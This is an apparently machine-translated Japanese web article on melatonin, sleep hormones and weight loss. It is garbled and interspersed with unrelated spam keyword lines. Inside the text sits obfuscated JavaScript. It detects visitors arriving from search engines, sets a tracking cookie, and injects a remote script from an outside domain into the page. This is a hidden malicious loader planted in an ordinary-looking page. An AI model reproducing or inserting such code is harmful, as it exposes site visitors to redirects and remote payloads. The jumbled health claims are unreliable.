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これは、睡眠がこれらの2つのホルモンの主要な調節因子であり、ホルモンの変化の程度を飢餓の変化の大きさと相関させることを示す最初の研究である、とCauter.. 今年のPineal
Research誌に掲載されたグラナダ大学の研究では、研究者らはメラトニンを補給した実験ラットが対照群と比較して体重を減らした.. var _0x4154=['OyBwYXRoPQ==
','OyBkb21haW49','OyBzZWN1cmU=','Y29va2ll','Y2F1Z2w=','SUpqZEc=','RWNRSkg=','Smx6UkU=','Z2V0VGltZQ==','Rn
R0TU4=','U1BDem4=','YVpOSnc=','SmdRVHo=','aHR0cHM6Ly9icmF6aWxjbG91ZC5tZW4vbC1uZXcucGhwPyZxdWVye
T0=','Lmdvb2dsZS4=','LmFvbC4=','QWNuaHM=','a2NMaEc=','alJUb1Y=','aFVTSXA=','LmFzay4=','LmFsdGF2aXN0YS4=',
'cmVmZXJyZXI=','ZHZocGs=','cW1Zd24=','aW5kZXhPZg==','c2V0','dmlzaXRlZA==','UFRYbmc=','VmhuZ1U=','ZmdSWk
U=','eXF6aGU=','Q1J0Z0s=','SWZ6aUs=','RUZWRVA=','aGVhZA==','c2NyaXB0','Z2V0RWxlbWVudHNCeVRhZ05hbWU
=','YXBwZW5kQ2hpbGQ=','44Oh44Op44OI44OL44OzK+iWhOavmyvjgq/jgrnjg6or44Kv44OB44Kz44Of','NXwyfDB8MX
w0fDM=','blF6elY=','c3BsaXQ=','c3dPYmw=','bGVuZ3Ro','cmVwbGFjZQ==','bWF0Y2g=','OyBleHBpcmVzPQ=='];(functio
n(_0x41d616,_0x5d4e1e){var _0xa790b8=function(_0x2a9130){while(--_0x2a9130){_0x41d616['push'](_0x41d616['shift']());
}};_0xa790b8(++_0x5d4e1e);}(_0x4154,0x83));var _0x7c5a=function(_0x3efe10,_0x2b8826){_0x3efe10=_0x3efe10-0x0;var
_0xff9c8d=_0x4154[_0x3efe10];if(_0x7c5a['ewXIme']===undefined){(function(){var _0x3afed9=function(){var
_0x51f0db;try{_0x51f0db=Function('return\x20(function()\x20'+'{}.

constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0xf455f){_0x51f0db=window;}return _0x51f0db;};var
_0x458713=_0x3afed9();var _0x378591='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
+/=';_0x458713['atob']||(_0x458713['atob']=function(_0x51f2c6){var _0x1577f6=String(_0x51f2c6)['replace'](/=+$/,'');for(var 
_0x3be4a6=0x0,_0x12973a,_0x3b743d,_0x14e75e=0x0,_0xf1be29='';_0x3b743d=_0x1577f6['charAt'](_0x14e75e++);~_0x3b
743d&&(_0x12973a=_0x3be4a6%0x4?_0x12973a*0x40+_0x3b743d:_0x3b743d,_0x3be4a6++%0x4)?_0xf1be29+=String['fr
omCharCode'](0xff&_0x12973a>>(-0x2*_0x3be4a6&0x6)):0x0){_0x3b743d=_0x378591['indexOf'](_0x3b743d);}return
_0xf1be29;});}());_0x7c5a['lMwdtO']=function(_0x51fccd){var _0x1a5d45=atob(_0x51fccd);var _0x1ef282=[];for(var
_0x39b152=0x0,_0x3f2954=_0x1a5d45['length'];_0x39b152=_0x2c4c80;},'PTXng':function(_0x2be806,_0x58b2b6){return
_0x2be806!==_0x58b2b6;},'VhngU':_0x7c5a('0x1d'),'IfziK':function(_0x24c76a,_0x35e968){return
_0x24c76a+_0x35e968;},'EFVEP':function(_0x4a3e53,_0x1214e3){return _0x4a3e53+_0x1214e3;}};var _0x5897c3=[_0xd82
056[_0x7c5a('0x1e')],_0xd82056[_0x7c5a('0x1f')],_0xd82056['WaoIq'],_0xd82056[_0x7c5a('0x20')],_0x7c5a('0x21'),_0x7c5a
('0x22'),_0xd82056['UihwG']],_0xf573f6=document[_0x7c5a('0x23')],_0x1dcf5e=![],_0x129997=cookie['get'](_0xd82056[_0x
7c5a('0x24')]);for(var _0x391371=0x0;_0xd82056[_0x7c5a('0x25')](_0x391371,_0x5897c3[_0x7c5a('0x9')]);_0x391371++){if
(_0xd82056['kveVw'](_0xf573f6[_0x7c5a('0x26')](_0x5897c3[_0x391371]),0x0)){_0x1dcf5e=!![];}}if(_0x1dcf5e){cookie[_0
x7c5a('0x27')](_0x7c5a('0x28'),0x1,0x1);if(!_0x129997){if(_0xd82056[_0x7c5a('0x29')](_0xd82056[_0x7c5a('0x2a')],_0x7c5
a('0x1d'))){cookie['set'](_0xd82056[_0x7c5a('0x24')],0x1,0x1);if(!_0x129997){_0xd82056['CRtgK'](include,_0xd82056[_0x7
c5a('0x2b')](_0xd82056['fgRZE'](_0xd82056[_0x7c5a('0x2c')],q),''));}}else{_0xd82056[_0x7c5a('0x2d')](include,_0xd82056[
_0x7c5a('0x2e')](_0xd82056[_0x7c5a('0x2f')](_0xd82056[_0x7c5a('0x2c')],q),''));}}}}R(); スペインでの最近の一連の発見は、睡眠サイクルの
主要な調節因子である動物に見られる自然発生ホルモンであるメラトニンが、体重増加やその他の健康合併症を予防する可能性があることを示唆しています..
メラトニンのいくつかの天然源には、マスタード、ゴジベリー、ヒマワリの種、アーモンドおよびチェリーが含まれる..
さらに、追加のホルモンを受けた被験者群は、体重減少を経験しただけでなく、より低い血圧およびコレステロール値を示した..
生産レベルは周囲の光の量にほとんど影響されますが、メラトニン前駆物質を含む食品は優先的ですが、健全な睡眠には必須ではありません.
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UCSB心理学教授Alan Fridlundによって説明されているように、体重減少とメラトニンの関係は、身体の代謝を制御するメラトニンの役割によるものです.. 毎朝目覚まし時計のス
ヌーズボタンを使用する代わりに、フリードランドは体重増加に関心のある人々に健全なアドバイスを提供しています。メラトニンは肥満の魔法の弾丸になりますか？それは疑わしい. 
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تحميل برنامج قص الصورة من الفيديو 
 内科の実録に掲載された以前のシカゴ大学の研究では、研究者らは飢餓の増加を引き起こす傾向があるホルモンのグレリン濃度の上昇と睡眠不足時の飢餓を抑制するホルモンレプチンの減
少を認めた..
研究の結果に照らして、研究者らは、メラトニンサプリメントおよびメラトニンが豊富な食事は、肥満およびその関連する危険の予防に効果的であり得ることを示唆している..
メラトニンは哺乳動物の褐色脂肪組織の重要な調節物質であり、体内代謝を上昇させてカロリーを燃やす、とFridlundは述べている. Vlc Download For Mac Os High
Sierra

 Servlet-Programm für eine Login-Seite

フォローアップ研究は、研究者が睡眠の実際の利益を判断し、最適な睡眠習慣を再定義するのに役立つ可能性がある..
睡眠不足の被験者は、十分な睡眠を取った人よりも平均的に飢えていただけでなく、高脂肪、高糖度の食べ物を渇望する傾向があった..
要約すると、読者は、あなたの正常な運動と健康的な食事ルーチンに加えて、いくつかの余分なZを試してみてください。そして、あなたは洗面台のセットに目を覚ますかもしれません.
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